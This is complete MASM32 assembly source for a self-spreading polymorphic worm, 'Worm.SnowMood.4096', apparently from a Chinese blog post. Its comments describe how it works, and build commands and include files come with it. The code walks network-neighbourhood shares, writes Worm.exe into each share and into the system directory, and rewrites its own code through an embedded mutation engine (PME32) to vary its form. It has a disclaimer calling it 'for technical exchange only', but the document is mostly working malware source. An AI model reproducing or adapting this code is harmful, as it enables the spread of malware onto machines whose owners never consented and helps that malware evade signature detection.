Worm.SnowMood.4096

;-----------------------------------------------------------------
;病毒名称: Worm.SnowMood.4096(雪人的心)
;编写环境: WinXP,Masm32v6
;完成日期: 2002/11/10
;版  本: v1.0
;作   者: pkxp/CVC.GB(E-Mail:PeekXP@163.com)
;警 告 : 仅供技术交流,若有其他用途,概与本人无关!
;       万一有转贴,请保持完整性,多谢!
;-----------------------------------------------------------------
;程序简介:
;1. 这是一个简单的变形蠕虫,通过网络邻居传播。
;2. 发现共享目录后,在其中创建一个Worm.exe,然后写入文件头和.data段
;   将自身代码变形后再写入。PME32是一个变形引擎。
;3. 程序本意是说明这类蠕虫的写法,无关部分一概省略,甚至连自启动、
;   随机数、垃圾代码都没有。
;4. ml   /c /coff snowmood.asm
;   link /SUBSYSTEM:WINDOWS snowmood.obj
;   /MERGE:.rdata=.data /MERGE:.text=.data
;-----------------------------------------------------------------

.386
.model flat,stdcall
option casemap:none
include useful.inc
include Macros.inc  

.data
pMem         dd 0
szWormName     db '/Worm.exe',0
orig_worm     db 50 dup (0)
copy_worm     db MAX_PATH dup (0)

P segment
VStart:
  i2   push   PAGE_READWRITE
  i2   push   MEM_RESERVE or MEM_COMMIT
  i2   push   VEnd-VStart
  i2   push   0
  i2   call   VirtualAlloc
  i3   mov   pMem,eax         ;分配空间,准备变形
 
  i3   mov   esi,offset VStart
  i3   mov   edi,pMem
  i2   push   VEnd-VStart
  i2   pop   ecx
  i2   rep   movsb           ;拷贝代码

  i2   push   50
  i2   push   offset orig_worm    
  i2   push   0
  i2   call   GetModuleFileName   ;得到程序路径      
 
  i2   push   MAX_PATH
  i2   push   offset copy_worm
  i2   call   GetSystemDirectory   ;得到系统目录
 
  i2   push   offset copy_worm
  i2   call   InfectDir         ;感染系统目录

  i2   push   NULL
  i2   call   EnumNetWork       ;感染网络邻居      
  i1   ret
 
;----------- 遍历网络邻居,找到目录后感染之 -----------
EnumNetWork PROC pNetResource : DWORD
   
  LOCAL   hEnum     : DWORD
  LOCAL   Count     : DWORD
  LOCAL   BufferSize : DWORD

      nop
      nop
      nop
      nop
  i1   pushad
  i2   push   0FFFFFFFFh
  i2   pop   Count
  i2   push   16*1024
  i2   pop   BufferSize

  i3   lea   eax , hEnum  
  i2   push   eax
  i2   push   pNetResource
  i2   push   0
  i2   push   RESOURCETYPE_DISK
  i2   push   RESOURCE_GLOBALNET
  i2   call   WNetOpenEnum
  i3   or     eax,eax
  i2   jnz   EN_Exit
   
  i2   push   PAGE_READWRITE
  i2   push   MEM_RESERVE or MEM_COMMIT
  i2   push   16*1024
  i2   push   0
  i2   call   VirtualAlloc      
  i3   or     eax,eax
  i2   jz     EN_Close
  i3   mov   pNetResource,eax  

  i3   lea   eax,BufferSize
  i2   push   eax
  i2   push   pNetResource
  i3   lea   eax,Count
  i2   push   eax
  i2   push   hEnum
  i2   call   WNetEnumResource                  
  i3   or     eax,eax
  i2   jnz   EN_Free
             
  i3   mov   ecx,Count
  i3   mov   edi,pNetResource
  assume edi:ptr NETRESOURCEA
EN_Loop:
  i3   mov   eax,[edi].dwUsage
  i3   and   al,2
  i3   cmp   al , 2
  i2   jnz   EN_Dir
EN_Container:
  i2   push   edi  
  i2   call   EnumNetWork  
  i2   jmp   EN_Next
EN_Dir:
  i3   mov   eax,[edi].lpRemoteName      
  i2   push   [edi].lpRemoteName
  i2   call   InfectDir
EN_Next:
  i3   add   edi,sizeof NETRESOURCE
  i2   loop   EN_Loop
EN_Free:
  i2   push   MEM_RELEASE
  i2   push   0
  i2   push   pNetResource
  i2   call   VirtualFree          
EN_Close:
  i2   push   hEnum
  i2   call   WNetCloseEnum      
EN_Exit:
  i1   popad
  i2   ret 4
EnumNetWork ENDP    


;------------------InfectDir---------------------------------
;输入:目录地址
;输出:在目录中创建一个蠕虫文件
;思路:创建文件,把自身映象的PE头和第一个段.data
;     写入文件,然后把自身代码变形,写入文件。
;------------------------------------------------------------

InfectDir PROC   RemoteDir : DWORD

  LOCAL ByteWrite:DWORD

      nop
      nop
      nop
      nop               ;补足10个字节
  i1   pushad
  i2   push   offset szWormName
  i2   push   RemoteDir
  i2   call   lstrcat                              
           
  i2   push   NULL
  i2   push   FILE_ATTRIBUTE_NORMAL
  i2   push   CREATE_ALWAYS
  i2   push   NULL
  i2   push   FILE_SHARE_READ+FILE_SHARE_WRITE
  i2   push   GENERIC_READ+GENERIC_WRITE
  i2   push   RemoteDir
  i2   call   CreateFile
  i3   or     eax,eax
  i2   jz     ID_Exit
  i3   xchg   eax,esi
   
  i3   lea   edi,ByteWrite
  i2   push   0
  i2   push   edi
  i2   push   200h        
  i2   push   00400000h
  i2   push   esi        
  i2   call   WriteFile           ;文件头
   
  i2   push   0
  i2   push   edi
  i2   push   400h        
  i2   push   00401000h
  i2   push   esi        
  i2   call   WriteFile           ;.data

  i2   push   (instrz-VStart)/10
  i2   pop   ecx
  i2   push   ebp
  i3   xor   ebp,ebp
  i3   mov   edi,pMem
  i2   call   PME32             ;instrz->VStart的代码变形
  i2   pop   ebp
 
  i3   lea   edi,ByteWrite
  i2   push   0
  i2   push   edi
  i2   push   0A00h         ;VEnd-VStart按FileAlignment对其
  i2   push   pMem
  i2   push   esi
  i2   call   WriteFile     ;Write code  
   
  i2   push   esi
  i2   call   CloseHandle
ID_Exit:      
  i1   popad
  i2   ret   4
   
InfectDir ENDP


;-------------------PME32--------------------------------
;输入:
;     EDI   -   变形的一段代码
;     ECX   -   待变形代码长度,按10字节计算
;输出:
;     EDI   -   移动到指令之后
;思路:
;     每次取出包含一条指令的10个字节,先试图变形
;     后插入垃圾代码.

PME32:
i1     pushad
ExploreIns:
i2     push     ecx
i2     call     MORPHER  
i2     call     GARBAGER         ;insert garbage code
i2     pop     ecx
i2     loop     ExploreIns  
i1     popad
i1     ret

;---------------MORPHER---------------------------------------
;输入:
;     EDI   -   待变形的指令地址  
;输出:
;     EDI   -   移动到指令之后
;     EAX   -   新指令的长度
;思路:
;     将当前指令与指令集中所有指令比较,匹配后变形。
;--------------------------------------------------------------

MORPHER:                   ;start of morpher code

i3     lea     esi,[instrz+ebp]

analyse_instr:
i1     lodsd    
i3     test   eax,eax
i2     je     end_MORPHER     ;所有指令比较完毕,没有比配的
i3     add     eax,ebp       ;得到函数地址
i3     xchg   eax,edx       ;保存在edx中,eax还要用

explore_instr:
i3     xor     eax,eax
i1     lodsb               ;扩充用
i3     test   al,al
i2     je     end_instr       ;分析完一条指令了吗?
i2     push   edi
i2     dec     eax
i3     add     edi,eax
i1     cmpsb               ;比较一个字节
i2     pop     edi
i2     je     explore_instr   ;相等,继续

next_instr:                 ;已经有一个字节不相等,找下一条指令
i1     lodsb
i3     test     al,al
i2     jne     next_instr     ;找到指令结尾标志0
i2     jmp     analyse_instr   ;分析下一条指令

end_instr:
i2     push     edi
i2     call     edx           ;调用指令变形函数
i2     pop     eax
i3     sub     eax,edi
i2     neg     eax           ;得到新指令长度

end_MORPHER:
i1     ret

;-------- PUSHAD --------

shr_pushad:
i3     mov     al,60h         ;write single PUSHAD opcode
stosb_ret:
i1     stosb
i1     ret

exp_pushad:
i2     push     8             ;write   PUSH EAX
i2     pop     ecx           ;       PUSH ECX
i3     mov     al,50h         ;       ...
ep0:                         ;       PUSH EDI
i1     stosb
i2     inc     eax
i2     loop     ep0
i1     ret

;-------- POPAD --------

shr_popad:
i3     mov     al,61h             ;write single POPAD opcode
i2     jmp     stosb_ret

exp_popad:
i2     push     8               ;write   POP EDI
i2     pop     ecx               ;       POP ESI
i3     mov     al,5Fh             ;       ...
ep1:                           ;       POP EAX
i1     stosb
i2     dec     eax
i2     loop     ep1
i1     ret

;-------- RET -------------
shr_ret:
i3     mov     al,0C3h               ;shrink to RET
i2     jmp     stosb_ret

exp_ret:
i3     mov     eax,0FF04C483h   ;83C404 ADD ESP,4
i1     stosd               ;FF6424FC JMP DWORD PTR [ESP-4]
i3     mov     ax,2464h
i1     stosw
i3     mov     al,0FCh
i2     jmp     stosb_ret

;-------- INC EAX----------
shr_inceax:
i3     mov     al,40h           ;write single INC EAX opcode
i2     jmp     stosb_ret

exp_inceax:
i3     mov     al,83h           ;83 C0 01 ADD EAX,1
i1     stosb
i3     mov     ax,01c0h
i1     stosw
i1     ret

;-------- STOSD --------
shr_stosd:
i3     mov     al,0ABh         ;shrink to STOSD
i2     jmp     stosb_ret

exp_stosd:
i3     mov     eax,0C7830789h     ;create MOV   [EDI],EAX
i1     stosd                 ;     ADD   EDI,4
i3     mov     al,4
i2     jmp     stosb_ret


;-------------------- GARBAGER -------------------------------
;输入:
;     EAX   -     新指令长度
;     EDI   -     新指令下一个字节的地址
;输出:
;     EDI   -     下一条指令地址
;思路:
;     在10个字节空间里,已经有一条真正指令,edi指向其后在剩下
;     的空间内填充NOP.edi随之后移,指向了下一条真正指令。
;     如果eax=0,说明MORPHER匹配失败,那么要把edi加10。
;     指向下一条指令。
;---------------------------------------------------------------

GARBAGER:
i3     or   eax,eax  
i2     jz   G1
i3     mov   ecx,INSTRLEN
i3     sub   ecx,eax    
i3     mov   al,90h
G0:    
i1     stosb
i2     loop   G0
i2     jmp   G2
G1:
i3     add   edi,INSTRLEN
G2:    
i1     ret

           
instrz:
;shrinker part
  dd     offset shr_pushad
  db     1,50h,2,51h,3,52h,4,53h,5,54h,6,55h,7,56h,8,57h,0
  dd     offset shr_popad
  db     1,5Fh,2,5Eh,3,5Dh,4,5Ch,5,5Bh,6,5Ah,7,59h,8,58h,0    
  dd     offset shr_ret
  db     1,83h,2,0C4h,3,04h,4,0FFh,5,64h,6,24h,7,0FCh,0
  dd     offset shr_inceax
  db     1,83h,2,0C0h,3,01h,0
  dd     offset shr_stosd
  db     1,89h,2,07h,3,83h,4,0C7h,5,04h,0        
 
;expander part
  dd     offset exp_pushad
  db     1,60h,0
  dd     offset exp_popad
  db     1,61h,0
  dd     offset exp_ret
  db     1,0C3h,0
  dd     offset exp_inceax
  db     1,40h,0
  dd     offset exp_stosd
  db     1,0ABh,0
 
  dd     0       ;结束标志

VEnd:
P ends
end VStart

//macros.inc
INSTRLEN   equ   10

i3   macro   code1_2,code3
  local   s,e
s:    
  code1_2 , code3         ;e.g. MOV EAX,EBX
e:    
  db     INSTRLEN-(e-s) dup (90h)
endm

i2   macro   code1,code2
  local   s,e
s:    
  code1   code2                 ;e.g. INC EAX
e:    
  db     INSTRLEN-(e-s) dup (90h)
endm

i1   macro     code1
  local     s,e
s:    
  code1                     ;e.g. STOSD
e:    
  db     INSTRLEN-(e-s) dup (90h)
endm
//useful.inc
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
includelib /masm32/lib/kernel32.lib
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib

@pushsz MACRO str
LOCAL next
call next
db   str,0
next:
ENDM 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值